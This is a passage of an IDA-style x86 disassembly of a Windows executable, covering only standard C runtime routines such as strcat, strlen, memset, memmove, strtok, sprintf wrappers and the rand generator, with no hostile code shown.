		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_421E9B
		lea	eax, [ebp+var_10]
		push	offset dword_430310
		push	eax
		call	sub_423A87
sub_421E77	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_421E9B	proc near		; CODE XREF: sub_421E77+11p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		and	dword ptr [esi+0Ch], 0
		mov	[esi+4], eax
		mov	eax, [esp+4+arg_4]
		mov	dword ptr [esi], offset	off_42F3A0
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_421EC7
		cmp	[esp+4+arg_8], 0
		jz	short loc_421EC7
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]


loc_421EC7:				; CODE XREF: sub_421E9B+1Dj
					; sub_421E9B+24j
		mov	eax, esi
		pop	esi
		retn	0Ch
sub_421E9B	endp


; =============== S U B	R O U T	I N E =======================================



sub_421ECD	proc near		; DATA XREF: .text:off_42F3A0o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_421F16
		test	[esp+4+arg_0], 1
		jz	short loc_421EE3
		push	esi
		call	sub_421C78
		pop	ecx


loc_421EE3:				; CODE XREF: sub_421ECD+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_421ECD	endp

; ---------------------------------------------------------------------------
		mov	eax, [esp+4]
		push	esi
		mov	esi, ecx
		mov	ecx, [eax+4]
		mov	[esi+4], ecx
		mov	eax, [eax+8]
		and	dword ptr [esi+0Ch], 0
		mov	[esi+8], eax
		test	eax, eax
		mov	dword ptr [esi], offset	off_42F3A0
		jz	short loc_421F10
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]


loc_421F10:				; CODE XREF: .text:00421F08j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_421F16	proc near		; CODE XREF: sub_421ECD+3p
					; DATA XREF: .text:00430314o
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		mov	dword ptr [esi], offset	off_42F3A0
		test	eax, eax
		jz	short loc_421F2C
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_421F2C:				; CODE XREF: sub_421F16+Ej
		mov	esi, [esi+0Ch]
		test	esi, esi
		jz	short loc_421F3A
		push	esi
		call	dword_42F030	; LocalFree


loc_421F3A:				; CODE XREF: sub_421F16+1Bj
		pop	esi
		retn
sub_421F16	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_421F40	proc near		; CODE XREF: start+66p	start+B4p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_421FF4
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_421F6A


loc_421F5B:				; CODE XREF: sub_421F40+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_421F9B
		test	edi, 3
		jnz	short loc_421F5B


loc_421F6A:				; CODE XREF: sub_421F40+19j
					; sub_421F40+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_421F6A
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_421FA8
		test	ah, ah
		jz	short loc_421FA3
		test	eax, 0FF0000h
		jz	short loc_421F9E
		test	eax, 0FF000000h
		jnz	short loc_421F6A


loc_421F9B:				; CODE XREF: sub_421F40+20j
		dec	edi
		jmp	short loc_421FAB
; ---------------------------------------------------------------------------


loc_421F9E:				; CODE XREF: sub_421F40+52j
		sub	edi, 2
		jmp	short loc_421FAB
; ---------------------------------------------------------------------------


loc_421FA3:				; CODE XREF: sub_421F40+4Bj
		sub	edi, 3
		jmp	short loc_421FAB
; ---------------------------------------------------------------------------


loc_421FA8:				; CODE XREF: sub_421F40+47j
		sub	edi, 4


loc_421FAB:				; CODE XREF: sub_421F40+5Cj
					; sub_421F40+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_421FC0
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_42200C
		jmp	short loc_421FDC
; ---------------------------------------------------------------------------


loc_421FC0:				; CODE XREF: sub_421F40+75j
					; sub_421F40+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_421FFA
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_421FF0
		test	esi, 3
		jnz	short loc_421FC0
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_42200C


loc_421FDC:				; CODE XREF: sub_421F40+7Ej
					; sub_421F40+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_421FF0


loc_421FE3:				; CODE XREF: sub_421F40+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_421FF2
		dec	ecx
		jnz	short loc_421FE3


loc_421FF0:				; CODE XREF: sub_421F40+8Bj
					; sub_421F40+A1j
		mov	[edi], cl


loc_421FF2:				; CODE XREF: sub_421F40+ABj
		pop	ebx
		pop	esi


loc_421FF4:				; CODE XREF: sub_421F40+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_421FFA:				; CODE XREF: sub_421F40+85j
					; sub_421F40+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_422004:				; CODE XREF: sub_421F40+E4j
					; sub_421F40+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_421FDC


loc_42200C:				; CODE XREF: sub_421F40+7Cj
					; sub_421F40+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_422004
		test	dl, dl
		jz	short loc_421FFA
		test	dh, dh
		jz	short loc_422058
		test	edx, 0FF0000h
		jz	short loc_422048
		test	edx, 0FF000000h
		jnz	short loc_422004
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_422048:				; CODE XREF: sub_421F40+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_422058:				; CODE XREF: sub_421F40+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_421F40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422063	proc near		; CODE XREF: start+22p	start+52p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_42512C
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_4220A3
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_4220B0
; ---------------------------------------------------------------------------


loc_4220A3:				; CODE XREF: sub_422063+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_425014
		pop	ecx
		pop	ecx


loc_4220B0:				; CODE XREF: sub_422063+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_422063	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4220C0	proc near		; CODE XREF: start+8p sub_401AB3+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_4220E0


loc_4220CC:				; CODE XREF: sub_4220C0+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_4220CC


loc_4220E0:				; CODE XREF: sub_4220C0+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_4220C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4220EF	proc near		; CODE XREF: sub_4010E7+9p
					; sub_401477+45p ...

arg_0		= dword	ptr  4

		call	sub_42599D
		mov	ecx, [esp+arg_0]
		mov	[eax+14h], ecx
		retn
sub_4220EF	endp


; =============== S U B	R O U T	I N E =======================================



sub_4220FC	proc near		; CODE XREF: sub_4010E7+Fp
					; sub_4010E7+22p ...
		call	sub_42599D
		mov	ecx, [eax+14h]
		imul	ecx, 343FDh
		add	ecx, 269EC3h
		mov	[eax+14h], ecx
		mov	eax, ecx
		shr	eax, 10h
		and	eax, 7FFFh
		retn
sub_4220FC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_422120	proc near		; CODE XREF: sub_401160+12Bp
					; sub_401160+170p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_422140


loc_42212C:				; CODE XREF: sub_422120+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_422173
		test	ecx, 3
		jnz	short loc_42212C
		add	eax, 0


loc_422140:				; CODE XREF: sub_422120+Aj
					; sub_422120+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_422140
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_422191
		test	ah, ah
		jz	short loc_422187
		test	eax, 0FF0000h
		jz	short loc_42217D
		test	eax, 0FF000000h
		jz	short loc_422173
		jmp	short loc_422140
; ---------------------------------------------------------------------------


loc_422173:				; CODE XREF: sub_422120+11j
					; sub_422120+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42217D:				; CODE XREF: sub_422120+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_422187:				; CODE XREF: sub_422120+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_422191:				; CODE XREF: sub_422120+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_422120	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42219B	proc near		; CODE XREF: sub_401160+11Bp
					; sub_401160+160p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_42512C
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_4221DA
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_4221E7
; ---------------------------------------------------------------------------


loc_4221DA:				; CODE XREF: sub_42219B+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_425014
		pop	ecx
		pop	ecx


loc_4221E7:				; CODE XREF: sub_42219B+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_42219B	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4221F0	proc near		; CODE XREF: sub_401160+15p
					; sub_401311+1Dp ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_422243
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_422237
		neg	ecx
		and	ecx, 3
		jz	short loc_422219
		sub	edx, ecx


loc_422213:				; CODE XREF: sub_4221F0+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_422213


loc_422219:				; CODE XREF: sub_4221F0+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_422237
		rep stosd
		test	edx, edx
		jz	short loc_42223D


loc_422237:				; CODE XREF: sub_4221F0+18j
					; sub_4221F0+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_422237


loc_42223D:				; CODE XREF: sub_4221F0+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_422243:				; CODE XREF: sub_4221F0+Aj
		mov	eax, [esp+arg_0]
		retn
sub_4221F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422248	proc near		; CODE XREF: sub_401311+3Ap
					; sub_401311+53p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		call	sub_42599D
		push	8
		mov	[ebp+arg_4], eax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_20]
		push	7
		rep stosd
		pop	edi


loc_422269:				; CODE XREF: sub_422248+3Aj
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_422269
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_422291
		mov	eax, [ebp+arg_4]
		mov	edx, [eax+18h]


loc_422291:				; CODE XREF: sub_422248+41j
					; sub_422248+67j
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_4222B1
		test	al, al
		jz	short loc_4222B1
		inc	edx
		jmp	short loc_422291
; ---------------------------------------------------------------------------


loc_4222B1:				; CODE XREF: sub_422248+60j
					; sub_422248+64j
		mov	ebx, edx


loc_4222B3:				; CODE XREF: sub_422248+89j
		mov	al, [edx]
		test	al, al
		jz	short loc_4222D7
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_4222D3
		inc	edx
		jmp	short loc_4222B3
; ---------------------------------------------------------------------------


loc_4222D3:				; CODE XREF: sub_422248+86j
		and	byte ptr [edx],	0
		inc	edx


loc_4222D7:				; CODE XREF: sub_422248+6Fj
		mov	eax, [ebp+arg_4]
		pop	edi
		pop	esi
		mov	[eax+18h], edx
		mov	eax, ebx
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_422248	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4222F0	proc near		; CODE XREF: sub_401311+2Bp
					; sub_401477+93p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_422373
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_422314
		shr	ecx, 2
		jnz	short loc_422381
		jmp	short loc_422335
; ---------------------------------------------------------------------------


loc_422314:				; CODE XREF: sub_4222F0+1Bj
					; sub_4222F0+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_422342
		test	al, al
		jz	short loc_42234A
		test	esi, 3
		jnz	short loc_422314
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_422381


loc_422330:				; CODE XREF: sub_4222F0+8Fj
		and	ebx, 3
		jz	short loc_422342


loc_422335:				; CODE XREF: sub_4222F0+22j
					; sub_4222F0+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_42236E
		dec	ebx
		jnz	short loc_422335


loc_422342:				; CODE XREF: sub_4222F0+2Bj
					; sub_4222F0+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_42234A:				; CODE XREF: sub_4222F0+2Fj
		test	edi, 3
		jz	short loc_422364


loc_422352:				; CODE XREF: sub_4222F0+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_4223E6
		test	edi, 3
		jnz	short loc_422352


loc_422364:				; CODE XREF: sub_4222F0+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_4223D7


loc_42236B:				; CODE XREF: sub_4222F0+7Fj
					; sub_4222F0+F4j
		mov	[edi], al
		inc	edi


loc_42236E:				; CODE XREF: sub_4222F0+4Dj
		dec	ebx
		jnz	short loc_42236B
		pop	ebx
		pop	esi


loc_422373:				; CODE XREF: sub_4222F0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_422379:				; CODE XREF: sub_4222F0+A9j
					; sub_4222F0+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_422330


loc_422381:				; CODE XREF: sub_4222F0+20j
					; sub_4222F0+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_422379
		test	dl, dl
		jz	short loc_4223CB
		test	dh, dh
		jz	short loc_4223C1
		test	edx, 0FF0000h
		jz	short loc_4223B7
		test	edx, 0FF000000h
		jnz	short loc_422379
		mov	[edi], edx
		jmp	short loc_4223CF
; ---------------------------------------------------------------------------


loc_4223B7:				; CODE XREF: sub_4222F0+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_4223CF
; ---------------------------------------------------------------------------


loc_4223C1:				; CODE XREF: sub_4222F0+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_4223CF
; ---------------------------------------------------------------------------


loc_4223CB:				; CODE XREF: sub_4222F0+ADj
		xor	edx, edx
		mov	[edi], edx


loc_4223CF:				; CODE XREF: sub_4222F0+C5j
					; sub_4222F0+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_4223E1


loc_4223D7:				; CODE XREF: sub_4222F0+79j
		xor	eax, eax


loc_4223D9:				; CODE XREF: sub_4222F0+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_4223D9


loc_4223E1:				; CODE XREF: sub_4222F0+E5j
		and	ebx, 3
		jnz	short loc_42236B


loc_4223E6:				; CODE XREF: sub_4222F0+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_4222F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4223F0	proc near		; CODE XREF: sub_4015B4+15p
					; sub_4015B4+3Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_422410
		cmp	edi, eax
		jb	loc_422588


loc_422410:				; CODE XREF: sub_4223F0+16j
		test	edi, 3
		jnz	short loc_42242C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_42244C
		rep movsd
		jmp	off_422538[edx*4]
; ---------------------------------------------------------------------------


loc_42242C:				; CODE XREF: sub_4223F0+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_422444
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_42244C+4[eax*4]
; ---------------------------------------------------------------------------


loc_422444:				; CODE XREF: sub_4223F0+46j
		jmp	dword ptr loc_422548[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_42244C:				; CODE XREF: sub_4223F0+31j
					; sub_4223F0+8Ej ...
		jmp	off_4224CC[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_422460
		dd offset loc_42248C
		dd offset loc_4224B0
; ---------------------------------------------------------------------------


loc_422460:				; DATA XREF: sub_4223F0+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_42244C
		rep movsd
		jmp	off_422538[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_42248C:				; DATA XREF: sub_4223F0+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_42244C
		rep movsd
		jmp	off_422538[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_4224B0:				; DATA XREF: sub_4223F0+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_42244C
		rep movsd
		jmp	off_422538[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_4224CC	dd offset loc_42252F	; DATA XREF: sub_4223F0:loc_42244Cr
		dd offset loc_42251C
		dd offset loc_422514
		dd offset loc_42250C
		dd offset loc_422504
		dd offset loc_4224FC
		dd offset loc_4224F4
		dd offset loc_4224EC
; ---------------------------------------------------------------------------


loc_4224EC:				; CODE XREF: sub_4223F0:loc_42244Cj
					; DATA XREF: sub_4223F0+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_4224F4:				; CODE XREF: sub_4223F0:loc_42244Cj
					; DATA XREF: sub_4223F0+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_4224FC:				; CODE XREF: sub_4223F0:loc_42244Cj
					; DATA XREF: sub_4223F0+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_422504:				; CODE XREF: sub_4223F0:loc_42244Cj
					; DATA XREF: sub_4223F0+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_42250C:				; CODE XREF: sub_4223F0:loc_42244Cj
					; DATA XREF: sub_4223F0+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_422514:				; CODE XREF: sub_4223F0:loc_42244Cj
					; DATA XREF: sub_4223F0+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_42251C:				; CODE XREF: sub_4223F0:loc_42244Cj
					; DATA XREF: sub_4223F0+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_42252F:				; CODE XREF: sub_4223F0:loc_42244Cj
					; DATA XREF: sub_4223F0:off_4224CCo
		jmp	off_422538[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_422538	dd offset loc_422548	; DATA XREF: sub_4223F0+35r
					; sub_4223F0+92r ...
		dd offset loc_422550
		dd offset loc_42255C
		dd offset loc_422570
; ---------------------------------------------------------------------------


loc_422548:				; CODE XREF: sub_4223F0+35j
					; sub_4223F0+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_422550:				; CODE XREF: sub_4223F0+35j
					; sub_4223F0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_42255C:				; CODE XREF: sub_4223F0+35j
					; sub_4223F0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_422570:				; CODE XREF: sub_4223F0+35j
					; sub_4223F0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_422588:				; CODE XREF: sub_4223F0+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_4225BC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_4225B0
		std
		rep movsd
		cld
		jmp	off_4226D0[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_4225B0:				; CODE XREF: sub_4223F0+1B1j
					; sub_4223F0+208j ...
		neg	ecx
		jmp	off_422680[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_4225BC:				; CODE XREF: sub_4223F0+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_4225D4
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_4225D4+4[eax*4]
; ---------------------------------------------------------------------------


loc_4225D4:				; CODE XREF: sub_4223F0+1D6j
					; DATA XREF: sub_4223F0+1DDr
		jmp	off_4226D0[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_4225E7+1
; ---------------------------------------------------------------------------
		or	[esi], ah
		inc	edx
		add	[eax], dh
		db	26h
		inc	edx


loc_4225E7:				; DATA XREF: sub_4223F0+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_4225B0
		std
		rep movsd
		cld
		jmp	off_4226D0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_4225B0
		std
		rep movsd
		cld
		jmp	off_4226D0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_4225B0
		std
		rep movsd
		cld
		jmp	off_4226D0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_422684
		dd offset loc_42268C
		dd offset loc_422694
		dd offset loc_42269C
		dd offset loc_4226A4
		dd offset loc_4226AC
		dd offset loc_4226B4
off_422680	dd offset loc_4226C7	; DATA XREF: sub_4223F0+1C2r
; ---------------------------------------------------------------------------


loc_422684:				; DATA XREF: sub_4223F0+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_42268C:				; DATA XREF: sub_4223F0+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_422694:				; DATA XREF: sub_4223F0+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_42269C:				; DATA XREF: sub_4223F0+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_4226A4:				; DATA XREF: sub_4223F0+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_4226AC:				; DATA XREF: sub_4223F0+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_4226B4:				; DATA XREF: sub_4223F0+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


